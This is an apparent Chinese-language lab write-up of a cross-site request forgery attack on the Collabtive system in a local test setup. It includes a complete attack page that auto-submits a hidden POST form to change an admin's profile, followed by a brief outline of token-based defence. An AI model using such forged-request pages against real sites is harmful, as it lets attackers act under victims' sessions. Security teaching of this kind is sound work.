Collabtive系统CSRF攻击实验
2015-08-27 16:35
489 查看
Collabtive系统跨站请求伪造攻击实验
实验简介
本次实验的目的是了解和体验跨站请求伪造(CSRF或XSRF)攻击。CSRF攻击涉及用户受害者,受信任的网站,恶意网站。受害者与受信任的站点和用户拥有一个活跃的会话同时访问恶意网站。恶意网站注入一个HTTP请求为受信任的站点到受害者用户会话牺牲其完整性。CSRF(Cross-site request forgery):中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。作用:攻击者盗用了你的身份,以你的名义发送恶意请求。危害:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。
实验内容
环境搭建
首先我们需要搭建两个站点,分别是可信站点和攻击站点。设置DNS
(/etc/hosts):
127.0.0.1 www.csrfattacker.com 127.0.0.1 www.csrf.com
使用Apache创建这两个站点:
$ sudo vim /etc/apache2/conf.d/lab1.conf <VirtualHost *:80> ServerName http://www.csrfattacker.com DocumentRoot /var/www/CSRF/Attacker/ </VirtualHost> $ sudo vim /etc/apache2/conf.d/lab2.conf <VirtualHost *:80> ServerName http://www.csrf.com DocumentRoot /var/www/CSRF/Collabtive/ </VirtualHost>
建立完成后启动Apache和MySQL
$ sudo service apache2 start $ sudo mysqld_safe
我们可以使用浏览器访问这两个网站来检验服务是否正常启动。
对目标网站进行攻击
我们可以进行CSRF攻击,是源于浏览器使用的同源策略。简单来说,同源策略就是,浏览器代替我们向服务器发送请求,这个请求在服务器端看起来就是我们的计算机发出的,而并不知道是真实的人发出还是系统或软件发出,只当做相同的来处理。因此,我们可以使用一个网站伪造用户向另一个网站发送恶意请求,这个伪造的请求不会被受害服务器识别。既然如此,我们就首先要让浏览器获得受害方的cookie等资源,从而获得受害网站的访问权限。我们以
admin的身份登录受害网站
www.csrf.com。我们试图伪造
admin用户的请求。
既然我们需要伪造请求,我们就先需要知道请求的格式。使用抓包工具抓取用户资料修改页面发送的数据。这是一个post请求,因此我们需要在攻击网站上伪造用户发出一个符合格式的post请求。我们在攻击网站编写代码如下:
<html><body><h1> This page forges an HTTP POST request. </h1> <script> function post(url,fields) { //create a <formelement. var p = document.createElement('form'); //construct the form p.action = url; p.innerHTML = fields; p.target = '_self'; p.method = 'post'; //append the form to the current page. document.body.appendChild(p); //submit the form p.submit(); } function csrf_hack() { var fields; // The following are form entries that need to be filled out // by attackers. The entries are made hidden, so the victim // won't be able to see them. fields += "<input type='hidden' name='name' value='peter'>"; //修改用户 fields += "<input type='hidden' name='userfile' value=''>"; fields += "<input type='hidden' name='company' value='seed'>"; //修改公名 post('http://www.csrf/manageuser.php?action=edit',fields); } // invoke csrf_hack() after the page is loaded. window.onload = function() { csrf_hack(); } </script> </body></html>
将这个网页保存为攻击网站访问的默认网页(如
index.html),当用户在登录受害网站时访问攻击网站,攻击网站就会发送一个合法的POST请求修改用户资料。攻击成功。
对CSRF攻击进行防御
在进行CSRF攻击时,我们发现,我们是在模拟用户向服务器端发送一个合法的请求,这个的前提是,我们需要知道(伪造出)请求的全部内容。那么我们是否可以让攻击者无法伪造请求,从而消除攻击呢?答案是有的,随机数。我们可以要求用户在发送请求时,加上自己的cookie等双方共有的随机数,这样验证时双方匹配而第三者无法得知。当然这也不是说使用cookie就可以做到万无一失,因为攻击者还可以利用XSS等手段获得这些随机数。
(修改验证配置文件,增加验证用户sessionid,代码略)
相关文章推荐
- 跨站请求伪造 (CSRF)
- 09. Laravel 4 表单
- oschina删除文章的csrf漏洞
- CSRF***与防御
- 跨站请求伪造 xsrf csrf
- 跨站点请求伪造(Cross-Site Request Forgery:CSRF)解决方案
- CSRF攻击原理解析
- WEB的安全性测试要素(转)
- Django1.3.1笔记
- 网站安全编程法则
- Django 关于POST 返回403 无法连接的解决办法 (亲测)
- Django中发送邮件send_mail
- Web应用防火墙是强不是墙
- django中CSRF的问题及解决
- CSRF Protection in CodeIgniter 2.0: A closer look (From Bastian Heist)
- CSRF Protection in CodeIgniter 2.0: A closer look (From Bastian Heist)
- 解决CSRF verification failed. Request aborted.的问题
- MVC3大牛文章
- 浅谈CSRF攻击方式
- CSRF,跨站点请求伪装